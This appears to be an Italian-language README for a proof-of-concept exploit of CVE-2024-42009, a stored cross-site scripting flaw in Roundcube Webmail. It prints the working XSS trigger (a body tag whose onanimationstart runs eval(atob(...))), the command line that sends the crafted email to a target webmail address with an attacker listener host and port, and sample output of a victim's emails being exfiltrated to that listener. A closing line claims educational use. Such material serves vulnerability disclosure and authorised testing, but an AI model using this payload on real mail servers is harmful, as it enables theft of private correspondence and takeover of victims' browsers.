
CVE-2024-42009 Prova di concetto
Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2024-42009, una vulnerabilità di Cross-Site Scripting (XSS) persistente in Roundcube Webmail versione 1.6.7 e in diverse altre versioni. L'exploit dimostra come un attaccante possa iniettare JavaScript dannoso in un messaggio e sfruttare un problema di desanitizzazione durante l'analisi dell'HTML all'interno del messaggio, che può quindi essere utilizzato per esfiltrare il contenuto delle email dalla casella di posta della vittima in questo esempio, o addirittura prendere il controllo del browser della vittima.
Una vulnerabilità di Cross-Site Scripting in Roundcube fino alla 1.5.7 e 1.6.x fino alla 1.6.7 consente a un attaccante remoto di rubare e inviare email di una vittima tramite un messaggio di posta elettronica appositamente creato che sfrutta un problema di desanitizzazione in message_body() in program/actions/mail/show.php.
L'exploit utilizza un trigger di animazione CSS per l'esecuzione XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
Il body viene analizzato come un div, e quindi dobbiamo adattarci a questo; per questo usiamo l'attributo onanimationstart per chiamare la funzione eval ed eseguire chiamate JavaScript complesse da esso. Per approfondire come funziona l'exploit e dove si trovano le vulnerabilità in Roundcube, leggi questo articolo.
Installa i pacchetti Python richiesti:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ IMPORTANTE: Questa proof-of-concept è fornita solo per scopi educativi e di test autorizzati. Usala in modo responsabile e questo account non è responsabile per eventuali danni causati da altri.